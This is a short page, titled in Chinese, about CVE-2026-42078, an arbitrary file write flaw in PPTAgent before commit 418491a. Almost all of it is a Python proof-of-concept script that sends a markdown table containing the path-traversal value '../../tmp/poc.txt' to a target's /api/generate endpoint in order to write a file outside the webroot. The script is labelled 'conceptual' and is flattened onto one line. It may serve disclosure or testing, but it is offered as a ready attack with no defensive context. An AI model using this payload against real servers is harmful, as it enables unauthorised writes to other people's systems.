CVE-2026-42078 PPTAgent任意文件写入漏洞

import requests # This is a conceptual PoC for CVE-2026-42078 # Target: PPTAgent prior to commit 418491a # Vulnerability: Arbitrary file write via markdown_table_to_image target_url = "http://target-pptagent/api/generate" # Malicious payload attempting to write to a file outside the webroot # Using path traversal sequences in the table data markdown_payload = """ | Column 1 | Column 2 | | --- | --- | | ../../tmp/poc.txt | malicious_content | """ data = { "content": markdown_payload, "format": "markdown_table_to_image" # Triggering the vulnerable function } try: response = requests.post(target_url, json=data) if response.status_code == 200: print("Payload sent successfully. Check if file was written.") else: print("Failed to send payload.") except Exception as e: print(f"An error occurred: {e}")